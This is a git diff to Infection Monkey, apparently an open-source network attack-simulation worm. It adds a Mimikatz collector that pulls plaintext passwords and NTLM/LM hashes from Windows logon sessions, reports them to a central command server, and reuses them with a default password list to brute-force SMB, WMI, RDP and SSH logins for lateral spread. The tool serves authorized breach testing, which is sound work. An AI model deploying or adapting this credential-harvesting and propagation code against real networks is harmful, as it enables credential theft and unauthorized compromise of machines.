diff --git a/README.md b/README.md index bb331007e..32d530e74 100644 --- a/README.md +++ b/README.md @@ -153,8 +153,8 @@ See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). Dependent packages --------------------- -Dependency | License | -----------------------------|---------------------------- +Dependency | License | Notes +----------------------------|----------------------------|---------------------------- libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE PyCrypto | Public domain upx | Custom license, http://upx.sourceforge.net/upx-license.html @@ -188,3 +188,4 @@ Dependency | License | winbind | GPL-3 pyinstaller | GPL Celery | BSD + mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b26c911b0..a9007edb3 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from abc import ABCMeta +from itertools import product import uuid import types @@ -13,7 +14,6 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') - def _cast_by_example(value, example): """ a method that casts a value to the type of the parameter given as example @@ -204,17 +204,17 @@ class Configuration(object): ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" ms08_067_remote_user_pass = "Password1!" - # psexec exploiter - psexec_user = "Administrator" - psexec_passwords = ["Password1!", "1234", "password", "12345678"] - - # ssh exploiter - ssh_users = ["root", 'user'] - ssh_passwords = ["Password1!", "1234", "password", "12345678"] - # rdp exploiter rdp_use_vbs_download = True + # User and password dictionaries for exploits. + + def get_exploit_user_password_pairs(self): + return product(self.exploit_user_list, self.exploit_password_list) + + exploit_user_list = ['Administrator', 'root', 'user'] + exploit_password_list = ["Password1!", "1234", "password", "12345678"] + # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" @@ -223,4 +223,10 @@ class Configuration(object): collect_system_info = True + ########################### + # systeminfo config + ########################### + + mimikatz_dll_name = "mk.dll" + WormConfiguration = Configuration() diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 33503b3da..b8131fc61 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -12,21 +12,6 @@ ], "blocked_ips": [""], "current_server": "41.50.73.31:5000", - "psexec_passwords": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "ssh_passwords": [ - "Password1!", - "Password", - "1234", - "12345", - "123", - "password", - "12345678" - ], "alive": true, "collect_system_info": true, "depth": 2, @@ -63,7 +48,6 @@ "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "ms08_067_remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "psexec_user": "Administrator", "range_size": 30, "rdp_use_vbs_download": true, "smb_download_timeout": 300, @@ -74,11 +58,9 @@ "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "skip_exploit_if_file_exist": true, - "ssh_users": [ - "root", - "user" - ], "local_network_scan": true, + "exploit_user_list": [], + "exploit_password_list" = [] "tcp_scan_get_banner": true, "tcp_scan_interval": 200, "tcp_scan_timeout": 10000, diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 89a4014da..6f37cdc2e 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter): 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + config_users = self._config.exploit_user_list + config_passwords = self._config.exploit_password_list + user_password_pairs = [] + for user in config_users: + for password in config_passwords: + user_password_pairs.append((user, password)) if not g_reactor.is_alive(): g_reactor.daemon = True g_reactor.start() exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - host, self._config.psexec_user, password) + host, user, password) LOG.info("RDP connected to %r", host) - client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) + client_factory = CMDClientFactory(user, password, "", command) reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) @@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter): if client_factory.success: exploited = True - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 6f2177264..307cbfa02 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -64,19 +64,14 @@ class SmbExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False - for password in passwords: + for user, password in user_password_pairs: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, @@ -84,18 +79,18 @@ class SmbExploiter(HostExploiter): if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", - host, self._config.psexec_user, password) - host.learn_credentials(self._config.psexec_user, password) + host, user, password) + host.learn_credentials(user, password) exploited = True break else: # failed exploiting with this user/pass - report_failed_login(self, host, self._config.psexec_user, password) + report_failed_login(self, host, user, password) except Exception, exc: LOG.debug("Exception when trying to copy file using SMB to %r with user" " %s and password '%s': (%s)", host, - self._config.psexec_user, password, exc) + user, password, exc) continue if not exploited: @@ -118,7 +113,7 @@ class SmbExploiter(HostExploiter): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr, + rpctransport.set_credentials(user, password, host.ip_addr, "", "", None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) diff --git a/chaos_monkey/exploit/sshexec.py b/chaos_monkey/exploit/sshexec.py index fea92f82a..c9ecebaee 100644 --- a/chaos_monkey/exploit/sshexec.py +++ b/chaos_monkey/exploit/sshexec.py @@ -42,20 +42,12 @@ class SSHExploiter(HostExploiter): is_open, _ = check_port_tcp(host.ip_addr, port) if not is_open: LOG.info("SSH port is closed on %r, skipping", host) - return False + return False - passwords = list(self._config.ssh_passwords[:]) - users = list(self._config.ssh_users) - known_passwords = [host.get_credentials(x) for x in users] - if len(known_passwords) > 0: - for known_pass in known_passwords: - if known_pass in passwords: - passwords.remove(known_pass) - passwords.insert(0, known_pass) #try first - user_pass = product(users,passwords) + user_password_pairs = self._config.get_exploit_user_password_pairs() exploited = False - for user, curpass in user_pass: + for user, curpass in user_password_pairs: try: ssh.connect(host.ip_addr, username=user, diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index b73c648b4..02f144851 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter): if not remote_full_path: # try other passwords for administrator - for password in self._config.psexec_passwords: + for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(host, "Administrator", password, diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 982ff2f4d..8b4231793 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -29,14 +29,9 @@ class WmiExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - passwords = list(self._config.psexec_passwords[:]) - known_password = host.get_credentials(self._config.psexec_user) - if known_password is not None: - if known_password in passwords: - passwords.remove(known_password) - passwords.insert(0, known_password) + user_password_pairs = self._config.get_exploit_user_password_pairs() - for password in passwords: + for user, password in user_password_pairs: LOG.debug("Attempting to connect %r using WMI with password '%s'", host, password) @@ -44,27 +39,27 @@ class WmiExploiter(HostExploiter): try: wmi_connection.connect(host, - self._config.psexec_user, + user, password) except AccessDeniedException: - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')", + host, user, password) continue except DCERPCException, exc: - report_failed_login(self, host, self._config.psexec_user, password) - LOG.debug("Failed connecting to %r using WMI with password '%s'", - host, password) + report_failed_login(self, host, user, password) + LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')", + host, user, password) continue except socket.error, exc: - LOG.debug("Network error in WMI connection to %r with password '%s' (%s)", - host, password, exc) + LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)", + host, user, password, exc) return False except Exception, exc: - LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s", - host, password, exc, traceback.format_exc()) + LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s", + host, user, password, exc, traceback.format_exc()) return False - host.learn_credentials(self._config.psexec_user, password) + host.learn_credentials(user, password) # query process list and check if monkey already running on victim process_list = WmiTools.list_object(wmi_connection, "Win32_Process", @@ -78,7 +73,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, - self._config.psexec_user, + user, password, src_path, self._config.dropper_target_path, diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py index dd14a8fe0..6e128ed67 100644 --- a/chaos_monkey/monkey.py +++ b/chaos_monkey/monkey.py @@ -105,6 +105,9 @@ class ChaosMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() + LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) + LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) + self._network.initialize() self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index e233d64f5..11df45517 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -9,11 +9,15 @@ a = Analysis(['main.py'], if platform.system().find("Windows")>= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] + if platform.architecture()[0] == "32bit": + a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] + else: + a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')], + a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], a.zipfiles, a.datas, name='monkey.exe', diff --git a/chaos_monkey/system_info/mimikatz_collector.py b/chaos_monkey/system_info/mimikatz_collector.py new file mode 100644 index 000000000..d7122d57a --- /dev/null +++ b/chaos_monkey/system_info/mimikatz_collector.py @@ -0,0 +1,82 @@ +import ctypes +import binascii +import logging + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + + + +class MimikatzCollector: + """ + Password collection module for Windows using Mimikatz. + """ + + def __init__(self): + try: + self._isInit = False + self._config = __import__('config').WormConfiguration + self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) + get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + self._collect = collect_proto(("collect", self._dll)) + self._get = get_proto(("get", self._dll)) + self._isInit = True + except StandardError as ex: + LOG.exception("Error initializing mimikatz collector") + + def get_logon_info(self): + """ + Gets the logon info from mimikatz. + Returns a dictionary of users with their known credentials. + """ + + if not self._isInit: + return {} + + try: + entry_count = self._collect() + + logon_data_dictionary = {} + + for i in range(entry_count): + entry = self._get() + username = str(entry.username) + password = str(entry.password) + lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) + ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)) + has_password = (0 != len(password)) + has_lm = ("00000000000000000000000000000000" != lm_hash) + has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) + + if not logon_data_dictionary.has_key(username): + logon_data_dictionary[username] = {} + if has_password: + logon_data_dictionary[username]["password"] = password + if has_lm: + logon_data_dictionary[username]["lm_hash"] = lm_hash + if has_ntlm: + logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash + + return logon_data_dictionary + except StandardError as ex: + LOG.exception("Error getting logon info") + return {} + + class LogonData(ctypes.Structure): + """ + Logon data structure returned from mimikatz. + """ + + WINDOWS_MAX_USERNAME_PASS_LENGTH = 257 + LM_NTLM_HASH_LENGTH = 16 + + _fields_ = \ + [ + ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), + ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), + ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) + ] diff --git a/chaos_monkey/system_info/windows_info_collector.py b/chaos_monkey/system_info/windows_info_collector.py index b979ee87b..5cb1253ab 100644 --- a/chaos_monkey/system_info/windows_info_collector.py +++ b/chaos_monkey/system_info/windows_info_collector.py @@ -1,5 +1,5 @@ from . import InfoCollector - +from mimikatz_collector import MimikatzCollector __author__ = 'uri' @@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector): def get_info(self): self.get_hostname() self.get_process_list() + mimikatz_collector = MimikatzCollector() + self.info["credentials"] = mimikatz_collector.get_logon_info() return self.info diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index b05c42e70..9641e2ae3 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [ }, ] +INITIAL_USERNAMES = ['Administrator', 'root', 'user'] +INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] + MONGO_URL = os.environ.get('MONGO_URL') if not MONGO_URL: MONGO_URL = "mongodb://localhost:27017/monkeyisland" @@ -65,7 +68,12 @@ class Monkey(restful.Resource): timestamp = request.args.get('timestamp') if guid: - return mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json['config']['exploit_user_list'] = \ + map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)])) + monkey_json['config']['exploit_password_list'] = \ + map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)])) + return monkey_json else: result = {'timestamp': datetime.now().isoformat()} find_filter = {} @@ -195,6 +203,18 @@ class Telemetry(restful.Resource): except: pass + # Update credentials DB + try: + if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')): + creds = telemetry_json['data']['credentials'] + for user in creds: + creds_add_username(user) + + if creds[user].has_key('password'): + creds_add_password(creds[user]['password']) + except StandardError as ex: + print("Exception caught while updating DB credentials: %s" % str(ex)) + return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @@ -259,6 +279,9 @@ class Root(restful.Resource): mongo.db.config.drop() mongo.db.monkey.drop() mongo.db.telemetry.drop() + mongo.db.usernames.drop() + mongo.db.passwords.drop() + init_db() return { 'status': 'OK', } @@ -347,13 +370,25 @@ def run_local_monkey(island_address): return (True, "pis: %s" % pid) +def creds_add_username(username): + mongo.db.usernames.update( + {'username': username}, + {'$inc': {'count': 1}}, + upsert=True + ) + +def creds_add_password(password): + mongo.db.passwords.update( + {'password': password}, + {'$inc': {'count': 1}}, + upsert=True + ) ### Local ips function if sys.platform == "win32": def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - else: import fcntl def local_ips(): @@ -398,6 +433,17 @@ def send_to_default(): return redirect('/admin/index.html') +def init_db(): + if not "usernames" in mongo.db.collection_names(): + mongo.db.usernames.create_index([( "username", 1 )], unique= True) + for username in INITIAL_USERNAMES: + creds_add_username(username) + + if not "passwords" in mongo.db.collection_names(): + mongo.db.passwords.create_index([( "password", 1 )], unique= True) + for password in INITIAL_PASSWORDS: + creds_add_password(password) + DEFAULT_REPRESENTATIONS = {'application/json': output_json} api = restful.Api(app) api.representations = DEFAULT_REPRESENTATIONS @@ -414,6 +460,8 @@ if __name__ == '__main__': from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop + with app.app_context(): + init_db() http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'}) http_server.listen(ISLAND_PORT) IOLoop.instance().start()